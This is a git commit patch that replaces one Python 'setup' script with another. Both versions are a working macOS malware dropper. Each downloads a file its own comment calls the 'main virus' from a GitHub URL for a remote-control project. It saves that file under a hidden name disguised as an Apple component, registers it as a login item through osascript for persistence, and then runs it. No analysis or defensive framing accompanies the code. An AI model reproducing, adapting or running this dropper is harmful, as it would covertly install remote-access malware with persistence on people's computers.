From a867993c7945079b20f1f7d3935148f0cc2fa131 Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Mon, 14 Aug 2023 16:36:57 +0800 Subject: updated --- setup.py | 14 -------------- setupv2.py | 22 ++++++++++++++++++++++ 2 files changed, 22 insertions(+), 14 deletions(-) delete mode 100644 setup.py create mode 100644 setupv2.py diff --git a/setup.py b/setup.py deleted file mode 100644 index 48236c8..0000000 --- a/setup.py +++ /dev/null @@ -1,14 +0,0 @@ -from requests import get -from os.path import expanduser -from os import remove -from subprocess import Popen as subproc -from os import system as cmd - -filename = "com.apple.com.user.core" - -# download main virus -open(f"{expanduser('~')}/.{filename}", 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Remote-Control-With-Evernote/main/main", allow_redirects=True).content) - -cmd(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}'") - -subproc([f"{expanduser('~')}/.{filename}"]) diff --git a/setupv2.py b/setupv2.py new file mode 100644 index 0000000..6644560 --- /dev/null +++ b/setupv2.py @@ -0,0 +1,22 @@ +from requests import get +from os.path import expanduser +from os import remove +from subprocess import Popen as subproc +from os import system as cmd + +filename = "com.apple.com.user.core" +localfile = f"{expanduser('~')}/.{filename}" +# download main virus +url = "https://raw.githubusercontent.com/mrdog233o5/Remote-Control-With-Evernote/main/main" +tb = 0 +response = get(url) +if response.status_code == 200: + with open(localfile, 'wb') as f: + for chunk in response.iter_content(chunk_size=1024): + if chunk: + tb += 1024 + f.write(chunk) + +cmd(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}'") + +subproc([localfile]) -- cgit v1.2.3